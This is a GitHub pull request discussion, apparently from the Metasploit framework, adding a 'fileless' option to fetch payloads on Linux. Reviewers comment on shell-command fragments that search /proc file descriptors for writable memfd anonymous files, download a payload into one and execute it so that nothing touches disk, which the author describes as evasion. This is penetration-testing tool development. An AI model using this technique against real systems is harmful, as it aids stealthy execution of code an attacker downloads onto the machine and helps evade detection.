Fileless elf execution #19858

msutovsky-r7 · 2025-02-04T14:43:32Z

This PR adds possibility of running fetch payload as file-less payload, leveraging existence of anonymous files. In current state, the fileless possibility is enabled with FETCH_FILELESS which is false by default. The limitation is the length of payload. Original idea was to explore memfd_create, however, there are limited options to call syscalls from bash. Therefore, the current solution searches for existing anonymous files where user can write and execute them. This achieves evasion as payload never touches disk.

smcintyre-r7 · 2025-02-04T16:31:06Z

Would it make sense to assume the user doesn't want to write the payload to disk when FETCH_WRITABLE_DIR is blank? It's currently a required option, but as I understand it, it's not used if FETCH_FILELESS is true. The downside I can think of for this might be how it's handled as part of the payload generation process to raise an exception when the platform is unsupported, e.g. Windows.

msutovsky-r7 · 2025-02-04T18:23:23Z

Would it make sense to assume the user doesn't want to write the payload to disk when FETCH_WRITABLE_DIR is blank? It's currently a required option, but as I understand it, it's not used if FETCH_FILELESS is true. The downside I can think of for this might be how it's handled as part of the payload generation process to raise an exception when the platform is unsupported, e.g. Windows.

If I saw correctly, I think that empty string is default option to FETCH_WRITABLE_DIR (and I was thinking to leave fileless execution as an option to enable for users) and it tells payload to work in current directory - like ./ for example. So it seems like blank FETCH_WRITABLE_DIR is somehow already defined behavior and I figured FETCH_FILELESS might be better. But I'm not very familiar with details, so I could be wrong, but this is my understanding of FETCH_WRITABLE_DIR.

lib/msf/core/payload/adapter/fetch.rb

jvoisin · 2025-02-04T22:14:10Z

lib/msf/core/payload/adapter/fetch.rb

@@ -223,6 +234,30 @@ def _generate_certutil_command
    cmd + _execute_add
  end

+  def _generate_fileless(get_file_cmd)


It would be nice to have a comment here explaining the technique used.

jvoisin · 2025-02-04T22:15:14Z

lib/msf/core/payload/adapter/fetch.rb

+      cmds = ";chmod +x #{_remote_destination_nix}"
+      cmds << ";#{_remote_destination_nix}&"
+    end
+    # cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']


Did you mean to comment this line?

jvoisin · 2025-02-04T22:15:49Z

lib/msf/core/payload/adapter/fetch.rb

-    cmds << ";#{_remote_destination_nix}&"
-    cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
+    if datastore['FETCH_DELETE']
+      rand(3..7)


This line is useless. Did you want to write cmds << "sleep #{rand(3..7)};"?

Yes, sorry, modification of this whole function is a leftover from different approach, thank you for that!

jvoisin · 2025-02-04T22:16:26Z

lib/msf/core/payload/adapter/fetch.rb

+      return datastore['FETCH_FILELESS'] && !windows? ? _generate_ftp_command_fileless : _generate_ftp_command
    when 'TNFTP'
-      return _generate_tnftp_command
+      return datastore['FETCH_FILELESS'] && !windows? ? _generate_tnftp_command_fileless : _generate_tnftp_command
    when 'WGET'
-      return _generate_wget_command
+      return datastore['FETCH_FILELESS'] && !windows? ? _generate_wget_command_fileless : _generate_wget_command
    when 'CURL'
-      return _generate_curl_command
+      return datastore['FETCH_FILELESS'] && !windows? ? _generate_curl_command_fileless : _generate_curl_command
    when 'TFTP'
-      return _generate_tftp_command
+      return datastore['FETCH_FILELESS'] && !windows? ? _generate_tftp_command_fileless : _generate_tftp_command
+    # ignoring certutil when FETCH_FILELESS is enabled


Are you sure that this is working on all platforms supported by metasploit that aren't windows?

It should be supported on all Unix systems, I'll add more specific condition, thanks!

jvoisin · 2025-02-05T09:21:07Z

lib/msf/core/payload/adapter/fetch.rb

  def initialize(*args)
    super
    register_options(
      [
        Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
-        Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/),
+        Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk (only *nix, kernel version 3.17 Gooand above)', false]),


Suggested change

Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk (only *nix, kernel version 3.17 Gooand above)', false]),

Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),

jvoisin · 2025-02-05T09:22:05Z

lib/msf/core/payload/adapter/fetch.rb

    when 'TFTP'
-      return _generate_tftp_command
+      return datastore['FETCH_FILELESS'] && linux? ? _generate_tftp_command_fileless : _generate_tftp_command
+    # ignoring certutil when FETCH_FILELESS is enabled


The comment is wrong. I think something like "FETCH_FILELESS isn't supported for certutil for now" would be better.

certutil should not be an option for linux payloads?
The FETCH_COMMAND option comes from either lib/msf/core/payload/adapter/fetch/windows_options lib/msf/core/payload/adapter/fetch/linux_options. Nix-y payloads should not import the windows_options file which allows the use of certutil.

Yeah; by adding the FETCH_FILELESS option to linux_options the user cannot select it and cURL. We already support fileless fetch execution on windows via SMB, though we don't advertise it.

lib/msf/core/payload/adapter/fetch.rb

lib/msf/core/payload/adapter/fetch/linux_options.rb

lib/msf/core/payload/adapter/fetch.rb

cdelafuente-r7 · 2025-02-06T14:56:17Z

lib/msf/core/payload/adapter/fetch.rb

+    cmd << '; FOUND=1'
+    cmd << '; break'
+    cmd << '; fi'
+    cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx)'


Maybe redirecting the potential errors to /dev/null might avoid some weird output and reduce the number of iterations for the main loop.

Suggested change

cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx)'

cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'

cdelafuente-r7 · 2025-02-06T14:58:07Z

lib/msf/core/payload/adapter/fetch.rb

+    # if found one, try to download payload into the anonymous file
+    # and execute it
+    cmd << '; then while read f'
+    cmd << '; do if [[ $(ls -al $f | grep -o memfd | wc -l) == 1 ]]'


There might be a way to avoid calling wc by checking the return value of grep instead.

cdelafuente-r7 · 2025-02-06T15:03:48Z

lib/msf/core/payload/adapter/fetch/linux_options.rb

+        Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
+      ],
+      Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to sto      re payload; cannot contain spaces', './'], regex: /^\S*$/)


Fixing some issues and adding a condition to the FETCH_WRITABLE_DIR option (untested):

Suggested change

Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),

],

Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to sto re payload; cannot contain spaces', './'], regex: /^\S*$/)

Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),

Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: %w[FETCH_FILELESS == false])

],

…on comments

lib/msf/core/payload/adapter/fetch.rb

smcintyre-r7 · 2025-02-07T21:48:20Z

lib/msf/core/payload/adapter/fetch.rb

+    cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'
+    cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]'
+    cmd << "; then if [ $( #{get_file_cmd} >/dev/null; echo $?) -eq \"0\" ]"


You should be able to golf this down. So using $() invokes the contents in a subshell. An exit status of 0 evaluates to true, so we can remove the echo and string check.

Give this a try:

Suggested change

cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'

cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]'

cmd << "; then if [ $( #{get_file_cmd} >/dev/null; echo $?) -eq \"0\" ]"

cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'

cmd << '; do if $(ls -al $f | grep -o "memfd" >/dev/null)'

cmd << "; then if $(#{get_file_cmd} >/dev/null)"

It could definitely be golf'ed down even more by removing whitespace and the redirection to null, but I think this is reasonable because it shouldn't change the functionality (output is still muted thanks to /dev/null) or affect the readability much.

For testing:

if $(exit 0); then echo true; else echo false; fi

Yep, absolutely agree. The redirections to /dev/null are added because I didn't like the error messages as it complicated bit debugging. From functionality perspective, if there would be some issues with length, we can remove them as it shouldn't change anything. Thanks for the tip!

bwatters-r7 · 2025-02-13T17:38:38Z

Suggested changes:
msutovsky-r7#2

Slight fixes and prep for adding piped fetch payloads

bwatters-r7 · 2025-02-14T21:22:00Z

lib/msf/core/payload/adapter/fetch.rb

    else
      fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
    end
-    cmd + _execute_add
+    cmd + _execute_add(get_file_cmd)


Suggested change

cmd + _execute_add(get_file_cmd)

_execute_add(get_file_cmd)

My bad......

msutovsky-r7 added 4 commits January 2, 2025 12:56

Init new method for Unix fileless ELF execution

05bd95c

Merge branch 'rapid7:master' into fileless_elf_execution

20d2a6c

Adding FETCH_FILELESS option

b98fb75

Bug fixed

a2044ac

msutovsky-r7 marked this pull request as draft February 4, 2025 14:43

bwatters-r7 reviewed Feb 4, 2025

View reviewed changes

lib/msf/core/payload/adapter/fetch.rb Outdated Show resolved Hide resolved

jvoisin reviewed Feb 4, 2025

View reviewed changes

msutovsky-r7 added 2 commits February 5, 2025 07:33

Code factor, adding comments

b678126

Fileless execution condition specified

0d558a1

jvoisin reviewed Feb 5, 2025

View reviewed changes

Refactoring based on comments

e3bb479

msutovsky-r7 marked this pull request as ready for review February 5, 2025 12:56

bwatters-r7 reviewed Feb 5, 2025

View reviewed changes

lib/msf/core/payload/adapter/fetch.rb Outdated Show resolved Hide resolved

bwatters-r7 reviewed Feb 5, 2025

View reviewed changes

lib/msf/core/payload/adapter/fetch.rb Outdated Show resolved Hide resolved

Refactoring fileless execution, adjusting generating fetch commands

50c95af

bwatters-r7 self-assigned this Feb 6, 2025

bwatters-r7 reviewed Feb 6, 2025

View reviewed changes

lib/msf/core/payload/adapter/fetch/linux_options.rb Outdated Show resolved Hide resolved

bwatters-r7 reviewed Feb 6, 2025

View reviewed changes

lib/msf/core/payload/adapter/fetch.rb Outdated Show resolved Hide resolved

cdelafuente-r7 reviewed Feb 6, 2025

View reviewed changes

More elegant way of generating fileless payload, code refactor based …

6d07354

…on comments

bwatters-r7 reviewed Feb 7, 2025

View reviewed changes

lib/msf/core/payload/adapter/fetch.rb Outdated Show resolved Hide resolved

Adding more reliable fileless fetch payload

ed648e9

smcintyre-r7 reviewed Feb 7, 2025

View reviewed changes

msutovsky-r7 and others added 2 commits February 9, 2025 09:17

Optimizing execution of fetch command in bash

881ae72

Slight fixes and prep for adding piped fetch payloads

46e97e3

smcintyre-r7 added payload rn-payload-enhancement release notes for enhanced payloads labels Feb 14, 2025

Merge pull request #2 from bwatters-r7/collab/19858

b647aec

Slight fixes and prep for adding piped fetch payloads

smcintyre-r7 approved these changes Feb 14, 2025

View reviewed changes

jvoisin approved these changes Feb 14, 2025

View reviewed changes

bwatters-r7 reviewed Feb 14, 2025

View reviewed changes

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Fileless elf execution #19858

Fileless elf execution #19858

msutovsky-r7 commented Feb 4, 2025

smcintyre-r7 commented Feb 4, 2025

msutovsky-r7 commented Feb 4, 2025

jvoisin Feb 4, 2025

jvoisin Feb 4, 2025

jvoisin Feb 4, 2025

msutovsky-r7 Feb 5, 2025

jvoisin Feb 4, 2025

msutovsky-r7 Feb 5, 2025

jvoisin Feb 5, 2025

jvoisin Feb 5, 2025

bwatters-r7 Feb 5, 2025 •

edited

Loading

bwatters-r7 Feb 7, 2025

cdelafuente-r7 Feb 6, 2025

cdelafuente-r7 Feb 6, 2025

cdelafuente-r7 Feb 6, 2025

smcintyre-r7 Feb 7, 2025

msutovsky-r7 Feb 9, 2025

bwatters-r7 commented Feb 13, 2025

bwatters-r7 Feb 14, 2025

	Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk (only *nix, kernel version 3.17 Gooand above)', false]),
	Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),

	cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx)'
	cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'

Fileless elf execution #19858

Are you sure you want to change the base?

Fileless elf execution #19858

Conversation

msutovsky-r7 commented Feb 4, 2025

smcintyre-r7 commented Feb 4, 2025

msutovsky-r7 commented Feb 4, 2025

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

bwatters-r7 Feb 5, 2025 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

bwatters-r7 commented Feb 13, 2025

Choose a reason for hiding this comment

bwatters-r7 Feb 5, 2025 •

edited

Loading